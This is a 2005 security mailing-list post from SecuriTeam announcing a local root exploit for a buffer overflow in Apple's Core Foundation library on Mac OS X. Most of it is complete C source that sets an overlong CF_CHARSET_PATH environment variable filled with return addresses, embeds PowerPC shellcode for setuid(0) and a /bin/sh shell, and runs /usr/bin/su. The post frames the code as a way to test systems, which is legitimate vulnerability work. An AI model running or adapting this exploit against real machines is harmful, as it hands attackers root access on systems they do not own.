[EXPL] Apple Core Foundation Library "CF_CHARSET_PATH" Local Root Exploit

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To: list@securiteam.com
Date: 23 Mar 2005 12:51:26 +0200

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  Apple Core Foundation Library "CF_CHARSET_PATH" Local Root Exploit
------------------------------------------------------------------------

SUMMARY

Local exploitation of a buffer overflow vulnerability within the Core
Foundation Library included by default in Apple Computer Inc.'s Mac OS X
could allow an attacker to gain root privileges. The following exploit
code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:
/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*
* by: v9@fakehalo.us (fakehalo/realhalo)
*
* found by: iDefense (anon finder)
*
* saw the advisory on bugtraq and figured i'd slap this
* together, so simple i had to. exploits via the
* /usr/bin/su binary. you must press ENTER at the
* "Password: " prompt.
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
printf("[*] setting up the environment.\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:v9@fakehalo.us> v9.

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